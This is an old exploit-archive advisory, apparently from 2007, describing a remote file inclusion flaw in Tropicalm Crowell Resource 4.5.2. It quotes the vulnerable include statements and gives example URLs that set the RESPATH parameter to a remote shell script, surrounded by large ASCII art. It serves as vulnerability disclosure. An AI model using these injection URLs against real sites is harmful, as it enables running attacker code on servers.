[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Tropicalm Crowell Resource 4.5.2 (RESPATH) RFI Vulnerabilities
# Published : 2007-05-07
# Author : kezzap66345
# Previous Title : JulmaCMS 1.4 (file.php file) Remote File Disclosure Vulnerability
# Next Title : ACGVAnnu <= 1.3 (acgv.php rubrik) Local File Inclusion Vulnerability
##############################################################################################
##############################################################################################
#?§?§?§?§?§__________________________________________?§?§?§?§?§
?§?§?§?§?§?§?§?§_____________________________________?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§_________________________________?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§_____________________________?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§__________________________?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§______________________?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§___________________?§?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_________________?§?§?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_______________?§?§?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_____________?§?§?§?§?§?§?§?§?§?§?§?§?§
___?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§__________?§?§?§?§?§?§?§?§?§?§?§?§?§?§
_____?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§________?§?§?§?§?§?§?§?§?§?§?§?§?§?§
________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_______?§?§?§?§?§?§?§?§?§?§?§?§?§?§
___________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_____?§?§?§?§?§?§?§?§?§?§?§?§?§?§
________________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§___?§?§?§?§?§?§?§?§?§?§?§?§?§?§
_____________________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§__?§?§?§?§?§?§?§?§?§?§?§?§?§?§
___________________________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_
_____________________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§____
______________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_______
___________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§______
________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§____
______?§?§?§?§?§?§?§?§_____?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§___
____?§?§?§?§?§?§?§?§?§_______?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§__
__?§?§?§?§?§?§?§?§?§?§?§_______?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_
_?§?§?§?§?§?§?§?§?§?§?§?§?§_____?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§
?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§
_?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_
__?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_
_____?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§__
_________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§___
_______________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§___
_________________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§____
_________________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§________
________________?§?§?§?§?§?§?§?§?§?§_____?§?§?§?§?§?§?§?§?§?§___________
_________________?§?§?§?§?§_________?§?§?§?§?§_________?§?§?§?§?§__
__________?§?§?§?§_________?§?§?§?§____________?§?§?§?§?§?§?§?§?§____
__________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§_____?§?§?§?§?§?§?§?§?§?§__________
__________?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§?§___?§?§?§?§?§_________________
__________?§?§?§?§?§______?§?§?§?§?§?§_________________________
#
#Tropicalm Crowell Resource v4.5.2 <= Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR1:dosearch.php
#
#include("$RESPATH/inc/disptmpl1.inc");
#
#BUG1:
#
#Example1:http://site.com/path/dosearch.php?RESPATH=[[Sh3LL Script]]
#
#
#
#ERROR2:printfriendly.php
#
#require_once("$RESPATH/lib/cls/shadow.cls");
#...
#....
#include("$RESPATH/inc/header.inc");
#include("$RESPATH/inc/tabcss.inc"); ?>
#BUG2:
#
#Example2:http://site.com/path/printfriendly.php?RESPATH=[[Sh3LL Script]]
#Script Download
#############################################################################
#
#http://www.tropicalm.net/lib/plug-in/download.php?filename=resdemo.tgz
#
##############################################################################################
#
#kezzap66345@hotmail.com
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
##Str0ke#############################
##############################################################################################
##############################################################################################
# www.Syue.com [2007-05-07]